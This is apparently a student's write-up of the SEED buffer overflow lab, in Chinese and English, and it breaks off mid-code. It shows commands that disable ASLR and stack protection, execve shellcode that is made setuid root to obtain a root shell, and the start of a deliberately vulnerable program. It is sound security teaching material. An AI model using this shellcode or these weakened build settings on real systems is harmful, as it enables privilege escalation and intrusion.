Buffer Overflow Vulnerability Lab 网安实验

Buffer Overflow Vulnerability Lab

2.1 Turning Off Countermeasures

关闭地址随机化

$ sudo sysctl -w kernel.randomize_va_space=0

关闭地址保护（编译时使用）

$ gcc -fno-stack-protector example.c

可执行栈（executable stacks）

For executable stack:

$ gcc -z execstack -o test test.c

For non-executable stack:

$ gcc -z noexecstack -o test test.c

Configuring /bin/sh (Ubuntu 16.04 VM only).

$ sudo ln -sf /bin/zsh /bin/sh

2.2 Task 1: Running Shellcode

//call_shellcode.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] = 
 "\x31\xc0"
 "\x50"
 "\x68""//sh"
 "\x68""/bin"
 "\x89\xe3"
 "\x50"
 "\x53"
 "\x89\xe1"
 "\x99"
 "\xb0\x0b"
 "\xcd\x80"
;

int main(int argc, char **argv)
{
   
	char buf[sizeof(code)];
	strcpy(buf, code);
	((void(*)( ))buf)( );
}

编译、加权

$ gcc -z execstack -o call_shellcode call_shellcode.c
$ sudo chown root call_shellcode
$ sudo chmod 4755 call_shellcode

执行成果：获得root权限
结论：call_shellcode可执行/bin/sh

---

2.3 The Vulnerable Program

//stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{
   
	char buffer